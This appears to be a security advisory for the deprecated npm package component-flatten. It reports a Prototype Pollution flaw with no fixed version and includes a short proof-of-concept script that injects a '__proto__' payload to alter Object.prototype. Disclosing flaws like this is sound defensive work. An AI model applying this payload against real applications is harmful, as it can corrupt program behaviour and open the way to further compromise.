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component-flatten@0.0.0 vulnerabilities

flatten a resolved component tree

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Direct Vulnerabilities

Known vulnerabilities in the component-flatten package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

component-flatten is a module that flattens a resolved component tree.

Note: This package is deprecated.

Affected versions of this package are vulnerable to Prototype Pollution. The a function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

PoC by JHU System Security Lab

var a = require("component-flatten");
var tree = {ref:"toString",name:"__proto__"};
a(tree);
console.log({}.toString);

How to fix Prototype Pollution?

There is no fixed version for component-flatten.

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